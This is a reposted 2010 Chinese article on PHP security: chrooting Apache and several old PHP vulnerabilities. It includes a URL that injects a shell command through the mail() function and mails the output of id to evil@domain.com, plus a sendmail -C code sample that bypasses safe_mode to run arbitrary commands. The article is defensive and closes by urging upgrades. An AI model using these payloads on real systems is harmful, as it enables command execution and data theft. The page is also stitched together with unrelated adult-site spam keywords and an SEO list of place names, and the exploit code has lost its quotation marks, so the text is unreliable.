成人午夜激情影院,小视频免费在线观看,国产精品夜夜嗨,欧美日韩精品一区二区在线播放

PHP安全配置之實現安全的兩個重點

2010-08-28 10:48:35來源:西部e網作者:

    一、Web服務器安全

  PHP其實不過是Web服務器的一個模塊功能,所以首先要保證Web服務器的安全。當然Web服務器要安全又必須是先保證系統安全,這樣就扯遠了,無窮無盡。PHP可以和各種Web服務器結合,這里也只討論Apache。非常建議以chroot方式安裝啟動Apache,這樣即使Apache和PHP及其腳本出現漏洞,受影響的也只有這個禁錮的系統,不會危害實際系統。但是使用chroot的Apache后,給應用也會帶來一定的麻煩,比如連接mysql時必須用127.0.0.1地址使用tcp連接而不能用localhost實現socket連接,這在效率上會稍微差一點。還有mail函數發送郵件也是個問題,因為php.ini里的:

[mail function]
; For Win32 only.
SMTP = localhost
; For Win32 only.
sendmail_from = me@localhost.com

  都是針對Win32平臺,所以需要在chroot環境下調整好sendmail。

  二、PHP本身問題

  1、遠程溢出

  PHP-4.1.2以下的所有版本都存在文件上傳遠程緩沖區溢出漏洞,而且攻擊程序已經廣泛流傳,成功率非常高.

  2、遠程拒絕服務

  PHP-4.2.0和PHP-4.2.1存在PHP multipart/form-data POST請求處理遠程漏洞,雖然不能獲得本地用戶權限,但是也能造成拒絕服務。

  3、safe_mode繞過漏洞

  還有PHP-4.2.2以下到PHP-4.0.5版本都存在PHP mail函數繞過safe_mode限制執行命令漏洞,4.0.5版本開始mail函數增加了第五個參數,由于設計者考慮不周可以突破safe_mode的限制執行命令。其中4.0.5版本突破非常簡單,只需用分號隔開后面加shell命令就可以了,比如存在PHP腳本evil.php:

  執行如下的URL:

http://foo.com/evil.php?bar=;/usr/bin/id mail evil@domain.com

  這將id執行的結果發送給evil@domain.com。

  對于4.0.6至4.2.2的PHP突破safe_mode限制其實是利用了sendmail的-C參數,所以系統必須是使用sendmail。如下的代碼能夠突破safe_mode限制執行命令:

  #注意,下面這兩個必須是不存在的,或者它們的屬主和本腳本的屬主是一樣:

$script=/tmp/script123;
$cf=/tmp/cf123;
$fd = fopen($cf, w);
fwrite($fd, OQ/tmp
Sparse=0
R$* . chr(9) . $#local $@ $1 $: $1
Mlocal, P=/bin/sh, A=sh $script);
fclose($fd);
$fd = fopen($script, w);
fwrite($fd, rm -f $script $cf; );
fwrite($fd, $cmd);
fclose($fd);
mail(nobody, , , , -C$cf);
?>

  還是使用以上有問題版本PHP的用戶一定要及時升級到最新版本,這樣才能消除基本的安全問題。
關鍵詞:PHP

贊助商鏈接:

主站蜘蛛池模板: 奉节县| 汕头市| 张家川| 峨眉山市| 仁怀市| 沂源县| 东山县| 合山市| 通化县| 思茅市| 龙泉市| 桓仁| 板桥市| 纳雍县| 曲阳县| 平潭县| 原平市| 讷河市| 伊金霍洛旗| 泸定县| 二连浩特市| 吉安县| 兴隆县| 武邑县| 彩票| 建湖县| 望都县| 那坡县| 渝中区| 奉节县| 麦盖提县| 巨野县| 如东县| 若羌县| 泸州市| 井研县| 廊坊市| 澄城县| 玉田县| 高州市| 贵定县|